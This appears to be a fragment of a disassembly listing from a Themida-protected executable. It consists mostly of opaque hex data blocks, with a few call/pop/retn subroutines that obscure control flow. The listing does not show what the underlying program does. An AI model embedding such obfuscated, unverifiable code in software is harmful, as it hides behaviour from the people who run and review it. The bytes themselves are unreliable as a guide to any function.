		dd 60310F5Ah, 0EAE6BB66h, 5A61C78Bh, 6A5858h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F3F5DC3h
		dd 58Ah, 0E2816600h, 0F781047Fh, 3F160EE3h, 831B5FFh, 6A07D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 7C13A1C3h, 0EA858D1Fh, 0B07D4A6h, 0D131C98Dh, 31D0FF07h
		dd 0D11069B5h, 5858907h, 6A07D110h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 8861C353h
		dd 3259BD83h, 0F0007D1h, 0C285h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0C67336FEh
		dd 0D131B585h, 0BA665607h, 666865DBh, 8BDDD51Dh, 243481C8h
		dd 9CA705Fh, 89958Bh, 0B5FF07D1h, 7D10831h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DC35545h, 8DA9859Ch
		dd 0D4A6EA85h, 5EB1B907h, 0D0FF26EAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0E6C35141h,	0DCA17C5Dh, 0BD03BA20h
		dd 7D11B39h, 20E1BD01h,	858907D1h, 7D13259h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 13C35545h, 0C6FEF280h
		dd 0D131B585h, 6A6C07h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 4BEEDC3h, 6659F5EBh, 680A63B9h
		dd 0A2D60113h, 3481CE8Bh, 0D3719024h, 51006A79h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 6660C934h, 1A33E981h, 0C9B5FF61h, 6A07D11Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 8A4BC357h, 8E8h, 0C002BE00h,	29EBE82Eh, 0FB8B6663h
		dd 0CE959h, 23720000h, 385CA369h, 4D2208F5h, 858D35BAh
		dd 7D13B01h, 16059589h,	0D18107D1h, 7C0F2BCh, 6EB2D0FFh
		dd 0D72D8589h, 6A07D4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0DF1677C3h, 9C59D852h, 83C9B70Fh
		dd 0D4D749BDh, 850F0007h, 0DDh,	15D18589h, 85C607D1h, 7D131B5h
		dd 52006A49h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 9529CD0Fh, 7D1333Dh, 0D7256268h,	0FE9C1h
		dd 67FC0000h, 0B614C5D6h, 0CC96C448h, 0FCB21931h, 243481FFh
		dd 4DC20C8Bh, 0FFFABF0Fh, 0D11CC9B5h, 31B52907h, 8D07D102h
		dd 0D13B0185h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 977028C7h, 0C63E0C98h
		dd 8D89CA44h, 7D132B1h,	6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 162E06C3h, 0EE91CB0h
		dd 0FF000000h, 1F85A213h, 0D9F92145h, 0AA246ABDh, 0D18B667Dh
		dd 0D7498589h, 0F6007D4h, 18Eh,	9503F900h, 7D125A5h, 68046A61h
		dd 0E035CCh, 68D0Fh, 53600000h,	61CA8B5Ah, 0CC243481h
		dd 6A00E025h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0BC5C352h, 0D12745BDh,	5D958B07h
		dd 6807D11Ch, 0F4320832h, 0CE240481h, 890BCEF7h, 0D10EDDBDh
		dd 89006A07h, 0D123A595h, 0C595FF07h, 0E807D121h, 5, 8370F458h
		dd 3FBF66C8h, 85895937h, 7D4D739h, 0A05CD781h, 85C72722h
		dd 7D4D731h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C44EB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C44EB	proc near		; CODE XREF: Themida_:005C44E3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C44EB	endp

; ---------------------------------------------------------------------------
		stosb
		dec	edx
		cmp	[ebx], ah
		push	0
		push	0
		push	ebp
		call	sub_5C450C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C450C	proc near		; CODE XREF: Themida_:005C4504p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C450C	endp

; ---------------------------------------------------------------------------
		dd 0CB07E16Eh, 2B13D61Dh, 0AE689F3Fh, 6683AC03h, 81B3CAB9h
		dd 0FC522404h, 0B70F7C54h, 525090D0h, 5ACB8B56h, 0DE9310Fh
		dd 0E000000h, 1B6EBD75h, 0EF368256h, 0F0DEBC1Ch, 0B650585Ah
		dd 0BF0F9060h, 0CF8B66F9h, 6A0B6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5BB679C3h
		dd 8DD7A627h, 0D4D70685h, 0B96607h, 52505083h, 0D6F6BF60h
		dd 0BB667BE2h, 0F613434h, 0D78B6631h, 489585Ah,	57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0EF7C3DEh, 0A1B9702Ah, 1DD18D8Bh, 95FF07D1h,	7D12169h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 73C35545h
		dd 45B1E130h, 39814F83h, 0CE8h,	0CCE66500h, 0CCAFB5E1h
		dd 2B7B8EF8h, 0F0BF6687h, 0BF66592Ch, 6660C7D7h, 0BB66F08Bh
		dd 8D61F0E8h, 0D4D710B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 8815C9Ah, 0BD89950Eh
		dd 7D118B1h, 89F18A50h,	8A0F2434h, 6, 0A18D8Bh,	0E95007D1h
		dd 13h,	1D056BB2h, 9981AFE0h, 3598261Ch, 14AFCD3Eh, 896BCC10h
		dd 0CE8B2404h, 100595FFh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 5CBCBAC3h, 827590B9h
		dd 0FC00B6Bh, 2585h, 76EE900h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F65E6C3h
		dd 0D0FFFAB1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	6FC35646h, 66B78AF2h, 0BAA77598h, 1C83723Ah, 39B58BFCh
		dd 307D4D7h, 0D12F6D95h, 20468D07h, 1D159D29h, 46A07D1h
		dd 28659589h, 0E99007D1h, 0Ch, 711681A2h, 0BBB6990Bh, 743B1958h
		dd 5870F50h, 0B9000000h, 7A18ED4Eh, 12E990h, 0A0360000h
		dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h,	0D74995FFh
		dd 6A07D4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 699306C3h, 0AE933h, 0A7CA0000h, 0D04EE4ECh
		dd 6B3BF6B0h, 840FC00Bh, 5Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0CDC35141h,	77FB8C79h, 6DE98209h
		dd 6A000006h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 895BC357h, 0D120E19Dh,	11E907h
		dd 1BDD0000h, 5A228F3Fh, 9E14ADA9h, 29176EA1h, 80507A17h
		dd 0F00207Eh, 62B84h, 0A800F00h, 0E9000000h, 5,	0ED165585h
		dd 0C18166E3h, 0BF60FB8Eh, 0E4BAF2Fh, 6620468Dh, 7FF8E281h
		dd 0D7358589h, 958B07D4h, 7D133B9h, 164E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0EEC7719Ah, 40316313h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A1C35141h, 0E9CAD7F3h, 0Fh, 37E17E59h
		dd 9F138A36h, 7EC68850h, 50808230h, 5840F52h, 0B9000000h
		dd 149D85D6h, 24048959h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 19C35545h, 0BF66FD9Dh, 8D890CE0h, 7D12B35h
		dd 6A046Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DA9599C3h, 0B093BF31h, 0F560B4F3h, 61BDEB80h
		dd 0B8666050h, 0DE8BFD40h, 24048961h, 0DCE9D781h, 95FF07B2h
		dd 7D4D749h, 2589BD8Bh,	0D88B07D1h, 0FE9h, 0C81CBB00h
		dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0AD642B7Ah
		dd 0B685121h, 4A840FDBh, 66000000h, 4889CF81h, 0E9C88B66h
		dd 4D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	6BC35343h, 59B7F301h, 2D8217A1h, 0E9D68B66h, 11h
		dd 4F2AA7B8h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 3880AFh
		dd 0FEB5850Fh, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 527473C3h, 9D89B22Fh, 7D10F95h
		dd 4E9h, 48CA8B00h, 35853BF8h, 0F07D4D7h, 4582h, 80A5B500h
		dd 840F5C38h, 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0BAC35646h, 0B1752AB5h, 362D35B1h, 2F3880A0h
		dd 0FFB9850Fh, 958BFFFFh, 7D124CDh, 3E58D33h, 6A4007D1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0B2C3C352h, 9E2150EEh, 0D18B1E24h, 0D73DBD83h
		dd 0F0007D4h, 14884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E6F4160Ah, 8D308F3Dh
		dd 0C18D8B68h, 2307D100h, 0D108458Dh, 52509007h, 5A595150h
		dd 96B6310Fh, 0B250585Ah, 890F909Ch, 5,	0AC4A49B9h, 3D850315h
		dd 8B07D4D7h, 0D1233195h, 4895007h, 51BF6624h, 6A046A0Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0D831C352h, 37EC486Eh, 937CE7DBh,	66526050h
		dd 5F6136B9h, 14E857h, 0DE330000h, 770B773Dh, 0DF31FA99h
		dd 3969E907h, 2F0BCF0Fh, 5B5B4F15h, 24048961h, 30A9BD8Bh
		dd 95FF07D1h, 7D4D749h,	0FADBD31h, 0D88B07D1h, 58CAB70Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 73C35141h
		dd 11E95F86h, 45000000h, 0C5A4CA70h, 6C75E7CAh,	0EFD23E00h
		dd 0B27A6978h, 1FB5B589h, 0DB0B07D1h, 32840Fh, 85890000h
		dd 7D11CDDh, 2C3E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0FE23B902h, 8D310A59h
		dd 7D11D29h, 0F90000C6h, 0E1958B53h, 5F07D126h,	0F529058h
		dd 68Ah, 0F525000h, 5A585A31h, 3657B950h, 6A901405h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0ED99C353h, 0D35BC25Ch, 6DBD8984h, 6A07D129h, 57006A1Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0A5F6020Ch, 0B18501F8h, 6007D117h, 8EBBDE8Bh, 61304A46h
		dd 48E0F90h, 51000000h,	5059D68Bh, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0FE8B0085h
		dd 0D74995FFh, 6A07D4h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 6DDB35C3h, 4DB0EDA5h, 0CE950h, 7EB90000h
		dd 39A5B141h, 0C76CE2D3h, 8D89E2A3h, 7D12305h, 8D8BD88Bh
		dd 7D10F51h, 50006A58h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0C7DEFDA2h, 80B36335h, 0AE8F44Eh
		dd 0A8000000h, 4F764AD0h, 925D145Ah, 0A59D2925h, 5A07D113h
		dd 840FDB0Bh, 25h, 3860Fh, 0E5800000h, 15AE97Fh, 12E90000h
		dd 10000000h, 1BABB1AFh, 0E8C5923Dh, 0F950D648h, 0B4EF9E5Ah
		dd 0BF665096h, 489A642h, 0DDBD8924h, 0FF07D103h, 0D4D729B5h
		dd 0DD952907h, 0FF07D113h, 0D4D72D95h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 3B92E390h, 0C00BF577h
		dd 83850Fh, 85890000h, 7D11951h, 0D953CA81h, 6A610252h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 6EF3C355h, 0FB7D4B1h, 386h, 0D1C18000h, 247D8D89h
		dd 85C707D1h, 7D4D731h,	1, 2CEA8166h, 8B6656D2h, 0A5E959C8h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0ACA5C351h, 0FD457FBh,	582h, 0EA816600h
		dd 0FC574493h, 8D89615Fh, 7D11FDDh, 6850Fh, 9D010000h
		dd 7D106B5h, 11CC681h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 717827C3h, 0F084EBD5h
		dd 0B26232A5h, 0A810F4Ah, 0F000000h, 48Ch, 0F2BF6600h
		dd 0F90BE9E8h, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3733B6C3h, 0D38AF848h, 0B0EEB368h
		dd 815F521Ah, 6EB32434h, 9511AB0h, 0D117E98Dh, 6A5907h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 3AC35141h
		dd 39B5FFDDh, 6A07D4D7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 84FAC350h, 5927D4A1h
		dd 0B58B60F1h, 7D11BD1h, 61D78B66h, 6E9h, 0C321700h, 0FF5AD058h
		dd 0D1325995h, 118D0107h, 8B07D126h, 0D4D73185h, 5DBD8B07h
		dd 5007D117h, 830Fh, 4890000h, 0D0B70F24h, 0D741858Dh
		dd 6A07D4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BE1BD6C3h, 50501FAAh, 0F1B8B966h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C414C355h, 7929F122h, 830F1860h,	5, 0E6E98166h
		dd 0FE858DB6h, 8A07D4D6h, 5FB250CFh, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FF0CC351h, 0D1167995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7E5D08C6h
		dd 27ED801Dh, 8B3FEE80h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 96B57EC5h, 0A82E8053h
		dd 0DDB589F3h, 8307D124h, 0D13405BDh, 9750007h,	2849BD83h
		dd 740007D1h, 8B535013h, 4D0B8C0h, 9D8D0000h, 7D3DFEBh
		dd 585BD3FFh, 2849BD83h, 740007D1h, 0B8535011h,	4D0h, 0DEEA9D8Dh
		dd 0D3FF07D3h, 6A585Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B3D5C9C3h, 94F932D2h, 880FA2C4h
		dd 11h,	0CE9h, 0AE80D300h, 78487ADFh, 11D6DB28h, 13E92Eh
		dd 7C0A0000h, 932BC7A4h, 78039F7Ch, 50E32E5Dh, 0F307194Ch
		dd 31C08BFDh, 0D1248195h, 8C25807h, 19BD8900h, 8B07D100h
		dd 1A30BFC0h, 0C68048B4h, 59858DEBh, 6A07D4D7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A780C356h, 0E90A8222h, 12h,	485EA2C2h, 7809ADFCh, 0F3992E73h
		dd 0C3492FCFh, 8D8B3008h, 7D126DDh, 14418589h, 39EB07D1h
		dd 0CC0000h, 0CC02CCh, 0CC02E4h, 0
		dd 451041FFh, 74094D82h, 2018458Bh, 4D134106h, 4C1906D5h
		dd 74332830h, 2031646Ah, 50325C59h, 482946EEh, 441C4DB7h
		dd 201748E2h, 207EC020h, 795D28B8h, 6CF4719Fh, 64FC2C0Ah
		dd 20612C33h, 713C288Bh, 6F4F2806h, 0A763C884h,	0ADF4D21Dh
		dd 27AC3B55h, 33B7FADDh, 0E0F60800h, 0C82E287Dh, 207D2888h
		dd 7BBE73E5h, 2459746Bh, 24596CF0h, 207D28AFh, 2FBE7B1Fh
		dd 0A341696Dh, 0F1492DAAh, 2908288Ch, 8349546h,	547D2F33h
		dd 0AB2E7868h, 24C49078h, 0A5F4285Ch, 27AC3BFBh, 0C1CDB59Ah
		dd 0F3822F58h, 9DFE709Eh, 27AC00ABh, 706A5C71h,	24C490EBh
		dd 0A5F4285Ch, 27AC3BFBh, 0FEE2B59Ah, 0F3822F58h, 2694709Eh
		dd 617D28E2h, 81C5AE43h, 4ABDA378h, 23957B5Ch, 7D282Eh
		dd 0A926EB4Ch, 0A1790CD7h, 37790C81h, 637D28E2h, 0A387EB22h
		dd 0ADF461A2h, 27AC3B81h, 11C8ADE8h, 0A92B2FC6h, 0F15CC51Eh
		dd 4EBC40C2h, 9E1B78F4h, 24FC8C6Ah, 0B234B99Ch,	767D4210h
		dd 207D2BC6h, 0E3230817h, 409A1D5h, 439A9C1h, 207D3EE6h
		dd 0E32B6E71h, 99A18F1h, 0F16975E9h, 0F1E8A329h, 0DF7AF901h
		dd 0F175193Eh, 767D42C2h, 207D2B0Ah, 0E3230871h, 409A1E6h
		dd 439A958h, 207D3E2Ah,	0E32B6E17h, 0D5508D26h,	31E892A3h
		dd 8697AD6Fh, 0A6722FA5h, 207D28A4h, 207D38B4h,	9897482Eh
		dd 9F047622h, 247CE60h,	8B8E1D92h, 9DC8A10Fh, 797AF953h
		dd 4A84F847h, 777D4258h, 207D2BC6h, 0E3220817h,	401A1D4h
		dd 439A9C1h, 207D31E6h,	0E32A6F71h, 2C9E2227h, 3494BAC7h
		dd 1C7D282Eh, 0A6601367h, 0DDBD6FDAh, 6D3B8E61h, 2C17FDF4h
		dd 96CC301h, 0F162853Dh, 26FC275Bh, 0AB7D282Eh,	0F159CDA2h
		dd 0BCC7408Ch, 0C82A9F58h, 207D28E7h, 17848FACh, 20F72786h
		dd 7F7D285Ch, 479A970h,	681F5B51h, 9CA0BCE3h, 0A1B2A310h
		dd 5250CE6h, 2D940232h,	457D28B8h, 3C42A3Dh, 0BD7771D0h
		dd 0C2478E47h, 0BDF428E1h, 27AC0354h, 207EAFEDh, 97722871h
		dd 4AADD740h, 23957F5Ch, 7D282Eh, 0A922EB48h, 0A1790CF7h
		dd 39790C81h, 677D28E2h, 5461EB26h, 2B1ABF2Dh, 61E82B3Ch
		dd 417AF921h, 0CA33AD9Eh, 20172F5Fh, 207EC095h,	785D28E2h
		dd 64F470B2h, 64FC2C9Ch, 20662C78h, 703D282Eh, 0C0A8CCD4h
		dd 0D7800D7Ch, 0C1FC4E5Dh, 0D8F64710h, 207FE474h, 72F8A1B8h
		dd 0A37AFCB6h, 0A5F430EEh, 27A9C241h, 0CCC4E8B8h, 0D37D28C7h
		dd 2F2E9D48h, 207D2AF3h, 9AC09AB8h, 5A1A8B53h, 11C8ADE8h
		dd 0AB3E2FC6h, 0F17DB136h, 2079C0C2h, 4B2328E2h, 722DB416h
		dd 2FACA3DEh, 66C34E6Dh, 702572BBh, 9A1B7A47h, 1172B7E2h
		dd 7827E370h, 24596C69h, 722D7A21h, 117272EBh, 7827493Ch
		dd 78271921h, 0AB1B289Ch, 439A179h, 22FC27C1h, 0AB7D28E2h
		dd 201770BAh, 207EC0EEh, 7E5D285Ch, 54F476EDh, 64FC2C33h
		dd 20602CAFh, 763B28C5h, 93A0CC21h, 4693182Bh, 2F69B6A9h
		dd 207D2ED7h, 61E0A12Eh, 0DF7AF926h, 0F175193Eh, 777D42C2h
		dd 207D2B0Ah, 0E3220871h, 401A1E7h, 439A958h, 207D3C2Ah
		dd 0E32A6F17h, 0EBF64E3Fh, 8697AD48h, 20172F36h, 207EC026h
		dd 7F5D28B8h, 5CF4779Fh, 64FC2C0Ah, 20602C33h, 773A288Bh
		dd 0EC967506h, 70D56D96h, 0C997486Ah, 207D28B7h, 55E54EEBh
		dd 0C0456989h, 5529A9E7h, 0DFDE08B0h, 0DAF6D415h, 356CAD6Bh
		dd 20172FA0h, 207EC0EEh, 7E5D285Ch, 54F476EDh, 64FC2C33h
		dd 206A2CAFh, 763B28C5h, 2885DE21h, 0A9F0A35Eh,	2F7AF990h
		dd 207D2DDFh, 0C6FC4E2Eh, 0A5F0D096h, 27AC0FF2h, 11BBC944h
		dd 0A5F43893h, 27AC3590h, 37649D31h, 0A5BB2F8Dh, 27AC199Bh
		dd 2DC8A144h, 0C87AF9A0h, 207D28C1h, 0DCCC603Ah, 0AF727A21h
		dd 207D28BCh, 9998923Ah, 29951921h, 0AD7D2817h,	54AEA3CFh
		dd 81E67937h, 207D220Bh, 0F9ECF171h, 674F20DDh,	7EA1E6B7h
		dd 702D7074h, 0FDC74E45h, 914C276Ah, 0AB2572DDh, 0C8790CA6h
		dd 207D2862h, 0EAC5A143h, 48A3CC20h, 0C8DEBDC6h, 11B52811h
		dd 0C91A88B6h, 207D28CAh, 0EB123A6Eh, 430A2D34h, 0B4F2E94Dh
		dd 7E67065Eh, 402A28A5h, 9E049671h, 41BBA3EDh, 439A19Ah
		dd 7886A3E6h, 864E9617h, 284C9D47h, 20172F8Dh, 207EC078h
		dd 7E5D2817h, 54F47648h, 64FC2CE1h, 20682CC6h, 763B2871h
		dd 0ABE37E7Bh, 0F15075E1h, 26FD2729h, 0A97D2817h, 0F14FFD1Eh
		dd 0CAF8A5C2h, 407AFC44h, 5E52DAF0h, 0DF1C1E8Eh, 2CFE278Ch
		dd 2F7D282Eh, 207D2E91h, 20F8278Bh, 0A97D28C5h,	0F17D7D67h
		dd 0A5BBD476h, 27AC190Dh, 777D420Fh, 207D2BC6h,	0E3220817h
		dd 401A1D4h, 439A9C1h, 207D32E6h, 0E32A6F71h, 96A9221Eh
		dd 48360554h, 505A5F20h, 85592C96h, 0B1AD9C6h, 0F1684D48h
		dd 11C8D7E5h, 2F7AF979h, 207D2D34h, 0E7FC4E5Ch,	0A5F0EA1Ch
		dd 27A98EFDh, 2970A502h, 0F0822F14h, 0C82A2888h, 207D2872h
		dd 7FBE7798h, 245954D5h, 24596CAFh, 207D280Bh, 0BE7FCCh
		dd 2F059D45h, 6DF798F6h, 0A5F4E2FBh, 27AC0609h,	68A2A93Ah
		dd 95F8EE89h, 677AF926h, 3D60BD88h, 24952F14h, 897D28E2h
		dd 40CAF6ACh, 14337E02h, 0A472480Fh, 207D282Eh,	8F1F9171h
		dd 702D49EAh, 2070C097h, 0D63428E2h, 0C0EB18E3h, 0DB93D716h
		dd 0C9D9DA25h, 207D2820h, 0B194372Eh, 83F74E02h, 4DC609B2h
		dd 2F22F867h, 24F82740h, 467D28B8h, 7AFEF5E3h, 439A376h
		dd 3AF92713h, 407D288Bh, 207D382Dh, 0AB5520E2h,	0ADB11AA6h
		dd 4A807E74h, 0FE54D4B8h, 411D7375h, 717DA376h,	4F197EDh
		dd 439A19Bh, 78529DE6h,	0C82D281Bh, 207D28BBh, 78BE707Ch
		dd 24596CA7h, 24596C96h, 207D289Dh, 26BE7885h, 0A02E2BCEh
		dd 0DF24D0B4h, 0F175190Dh, 727D425Bh, 207D2BC6h, 0E3270817h
		dd 429A1D1h, 439A9C1h, 207D32E6h, 0E32F6A71h, 2647AACAh
		dd 0A16AC59Eh, 5969D0ECh, 0CAF8A552h, 2F7AFC2Dh, 0F082DB7Ah
		dd 1849D69h, 0A5F42FA0h, 27AC1A79h, 0C82B2836h,	207D282Dh
		dd 7EBE7637h, 24595C02h, 24596C44h, 207D28F7h, 0E0BE7E37h
		dd 28F62785h, 767D285Ch, 36E0B5A7h, 0E6242FC6h,	0F14C9D0Eh
		dd 9F726FC2h, 2079C02Dh, 30072871h, 722DA964h, 207D2FB5h
		dd 4657A42Eh, 0C6A04142h, 0F3F71984h, 462D709Fh, 0AB307D5Dh
		dd 0C9790C35h, 207D28B1h, 2792F48h, 97BAE89Fh, 407DA38Ah
		dd 2F2F78DBh, 782572F4h, 439A183h, 24FD2775h, 467D28B8h
		dd 78C31CE3h, 0C8282844h, 207D2814h, 7DBE75ABh,	2459444Ch
		dd 24596C63h, 207D2865h, 0F1BE7DFDh, 2401D7E5h,	49E8A15Bh
		dd 0DF7AF939h, 0F175193Eh, 0B1C0A1C2h, 0AD7AF9C9h, 0F4DBC2F4h
		dd 4AADD7BFh, 23957F5Ch, 7D282Eh, 0A922EB48h, 0A1790CF7h
		dd 38790C81h, 677D28E2h, 423EB26h, 0A98C0066h, 0F14CD9E1h
		dd 2072C129h, 305C2817h, 9AEE41B8h, 388637FEh, 8A16215Ch
		dd 15F8A14Bh, 117AF98Bh, 0F15941C9h, 95F8EE29h,	677AF926h
		dd 31372CE3h, 2071C00Ch, 0A3B228E2h, 438AD6E8h,	9931D8CDh
		dd 24C25B59h, 7E0A5ACCh, 79591C96h, 4A1EF4FDh, 23957BC5h
		dd 7D28E2h, 0A926EB2Ah,	0A1790CE4h, 3D790C18h, 637D282Eh
		dd 28E7EB44h, 56BF316Ah, 422A0192h, 3D74956Bh, 95822FA0h
		dd 27AC2089h, 0AD85A33Ah, 0F4DBC2ABh, 717D4210h, 207D2B63h
		dd 0E32408C5h, 431A1BBh, 439A975h, 207D32BCh, 0E32C695Ch
		dd 7F102DD5h, 0ABDE7042h
		dd 0CEC29172h, 0F0823B3Eh, 0EA9FD05Dh, 0FEFC4E1Ch, 0A5F48B20h
		dd 27AC06BDh, 0C82A2844h, 207D2814h, 7FBE77ABh,	2459544Ch
		dd 24596C63h, 207D2867h, 94BE7FFFh, 0ADF4ACE9h,	27AC054Bh
		dd 9554F8E8h, 27AC1AFEh, 2CE0AD4Ch, 20172F33h, 207EC020h
		dd 795D28B8h, 6CF4719Fh, 64FC2C0Ah, 206A2C33h, 713C288Bh
		dd 884C4506h, 0DACA277Eh, 0C8A5A417h, 207D28B4h, 0DB6910C9h
		dd 1E040711h, 26F6C1BEh, 0BC8FA9EDh, 245971C6h,	0C8282888h
		dd 207D2872h, 7DBE7598h, 245944D5h, 24596CAFh, 207D280Ah
		dd 2ABE7DCEh, 0BA7CC82Ah, 485DD28Ch, 0D8C2273Bh, 25C9531h
		dd 0E0772F8Dh, 231DAC21h, 20172817h, 207EC0D8h,	7B5D28C5h
		dd 7CF47321h, 64FC2C55h, 20642C9Ch, 733E285Ch, 0F948EDEDh
		dd 0A9B57916h, 0F157810Eh, 0A5BBD4C2h, 27AC1957h, 0E6FD7F3Eh
		dd 2495770Fh, 0E47D285Ch, 9EC2A842h, 5335BA74h,	2076C1DBh
		dd 5F628C5h, 190E71ABh,	0B5548D50h, 439A3D2h, 2078C058h
		dd 591D282Eh, 0C97F8C8Eh, 207D288Ch, 9049623Bh,	79494008h
		dd 722D28FAh, 1172FB33h, 7AB6A33Ah, 439A176h, 206CC013h
		dd 451D288Bh, 2A1FE6DCh, 5708C0AAh, 0D3B9BB22h,	7EE83B30h
		dd 26F22704h, 0AB7D282Eh, 0F175F982h, 11C8D78Ch, 4A7AF9CDh
		dd 23957AE2h, 7D2871h, 0A927EBE2h, 0A1790C08h, 3D790C6Ah
		dd 627D2817h, 0B806EBD9h, 1EAF8FB5h, 8E4527AEh,	31689D70h
		dd 0A5F02F69h, 27A98EB6h, 0C8282844h, 207D2814h, 7DBE75ABh
		dd 2459444Ch, 24596C63h, 207D286Dh, 8BBE7DFDh, 2AE1B492h
		dd 912F464Ch, 207D2EFEh, 1998F18Bh, 0DF4A6256h,	26F82732h
		dd 0B7D2871h, 0F16AD105h, 4BDAB5Bh, 1C0B5A7h, 0A5F42FC6h
		dd 27AC039Eh, 0C82D28AFh, 207D28E1h, 78BE7051h,	24596C31h
		dd 24596CDDh, 207D2836h, 0CBE7857h, 3F9B5ED8h, 2CE0AD4Eh
		dd 2C952F33h, 2B7D2871h, 79F3CE4Fh, 22178366h, 0A987B39Ah
		dd 0F167B99Ah, 0BDF6778Ch, 27AC0624h, 0C82B2888h, 207D2872h
		dd 7EBE7698h, 24595CD5h, 24596CAFh, 207D280Eh, 0AFBE7ECDh
		dd 0CCD32757h, 85E001FFh, 97AF955h, 0F152A52Dh,	0B5566B5Bh
		dd 27AC0F6Bh, 9DF6339Ch, 27AC0896h, 0B574334Eh,	27AC02B3h
